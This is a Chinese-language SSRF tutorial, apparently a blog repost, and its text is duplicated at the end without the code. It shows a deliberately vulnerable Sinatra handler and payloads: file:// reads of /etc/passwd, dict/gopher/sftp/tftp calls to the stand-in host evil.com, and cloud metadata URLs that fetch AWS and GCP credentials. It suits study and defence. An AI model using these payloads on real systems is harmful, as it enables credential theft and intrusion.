SSRF-服务器端请求伪造(类型和利用方法)第1部分
字数 1146 2025-08-27 12:33:54

服务器端请求伪造(SSRF)攻击详解

什么是SSRF?

SSRF(Server-Side Request Forgery)是指攻击者从一个具有漏洞的web应用中发送伪造请求的攻击方式。攻击者利用服务器作为代理,向内部或外部系统发起非预期的请求。

SSRF攻击类型

1. 基本型SSRF(Basic SSRF)

服务器获取攻击者要求的URL后,将响应返回给攻击者。攻击者可以直接看到请求的结果。

示例代码(Ruby Sinatra框架):

require 'sinatra'
require 'open-uri'

get '/' do
  format 'RESPONSE: %s', open(params[:url]).read
end

攻击示例:

  • http://localhost:4567/?url=contacts - 读取本地联系人文件
  • http://localhost:4567/?url=/etc/passwd - 读取系统密码文件
  • http://localhost:4567/?url=https://google.com - 让服务器请求Google

2. 盲注型SSRF(Blind SSRF)

服务器会执行请求但不返回响应给攻击者。攻击者需要通过其他方式(如时间延迟、DNS查询等)判断请求是否成功。

URL协议包装器利用

SSRF攻击中可以利用多种URL协议包装器来绕过限制:

1. file://

用于从文件系统获取文件:

http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

2. dict://

使用DICT协议访问定义或单词列表:

http://example.com/ssrf.php?dict://evil.com:1337/

服务器会向evil.com的1337端口发起连接。

3. sftp://

SSH文件传输协议:

http://example.com/ssrf.php?url=sftp://evil.com:1337/

服务器会尝试建立SSH连接。

4. ldap://, ldaps://, ldapi://

轻量级目录访问协议:

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit

5. tftp://

简单文件传输协议(UDP协议):

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

6. gopher://

分布式文档传递服务(功能强大,可发送多行数据):

http://example.com/ssrf.php?url=http://attacker.com/gopher.php

gopher.php内容:

<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>

SSRF攻击利用场景

1. 扫描内部网络和端口

利用SSRF扫描内部网络,发现运行的服务(Kibana, Elastic Search, MongoDB等),可能发现易受攻击的服务。

2. 云实例元数据访问

Amazon AWS EC2:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance

可能获取AWS密钥、SSH密钥等敏感信息。

Google Cloud:

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

Digital Ocean:

http://169.254.169.254/metadata/v1.json

3. 反射型XSS攻击

通过SSRF获取包含恶意脚本的内容,触发XSS漏洞。

4. 访问内部资源

利用服务器作为代理访问内部受限资源或服务。

防御措施

  1. 输入验证和过滤
  2. 使用白名单限制允许的URL和协议
  3. 禁用不必要的URL协议包装器
  4. 网络层隔离,限制服务器出站连接
  5. 对云实例元数据接口实施访问控制

总结

SSRF是一种危险的攻击方式,可以导致内部网络探测、敏感数据泄露甚至系统完全沦陷。理解各种URL协议包装器的利用方式和云环境特有的元数据接口是防御SSRF的关键。

服务器端请求伪造(SSRF)攻击详解 什么是SSRF? SSRF(Server-Side Request Forgery)是指攻击者从一个具有漏洞的web应用中发送伪造请求的攻击方式。攻击者利用服务器作为代理,向内部或外部系统发起非预期的请求。 SSRF攻击类型 1. 基本型SSRF(Basic SSRF) 服务器获取攻击者要求的URL后,将响应返回给攻击者。攻击者可以直接看到请求的结果。 示例代码(Ruby Sinatra框架): 攻击示例: http://localhost:4567/?url=contacts - 读取本地联系人文件 http://localhost:4567/?url=/etc/passwd - 读取系统密码文件 http://localhost:4567/?url=https://google.com - 让服务器请求Google 2. 盲注型SSRF(Blind SSRF) 服务器会执行请求但不返回响应给攻击者。攻击者需要通过其他方式(如时间延迟、DNS查询等)判断请求是否成功。 URL协议包装器利用 SSRF攻击中可以利用多种URL协议包装器来绕过限制: 1. file:// 用于从文件系统获取文件: 2. dict:// 使用DICT协议访问定义或单词列表: 服务器会向evil.com的1337端口发起连接。 3. sftp:// SSH文件传输协议: 服务器会尝试建立SSH连接。 4. ldap://, ldaps://, ldapi:// 轻量级目录访问协议: 5. tftp:// 简单文件传输协议(UDP协议): 6. gopher:// 分布式文档传递服务(功能强大,可发送多行数据): gopher.php内容: SSRF攻击利用场景 1. 扫描内部网络和端口 利用SSRF扫描内部网络,发现运行的服务(Kibana, Elastic Search, MongoDB等),可能发现易受攻击的服务。 2. 云实例元数据访问 Amazon AWS EC2: 可能获取AWS密钥、SSH密钥等敏感信息。 Google Cloud: Digital Ocean: 3. 反射型XSS攻击 通过SSRF获取包含恶意脚本的内容,触发XSS漏洞。 4. 访问内部资源 利用服务器作为代理访问内部受限资源或服务。 防御措施 输入验证和过滤 使用白名单限制允许的URL和协议 禁用不必要的URL协议包装器 网络层隔离,限制服务器出站连接 对云实例元数据接口实施访问控制 总结 SSRF是一种危险的攻击方式,可以导致内部网络探测、敏感数据泄露甚至系统完全沦陷。理解各种URL协议包装器的利用方式和云环境特有的元数据接口是防御SSRF的关键。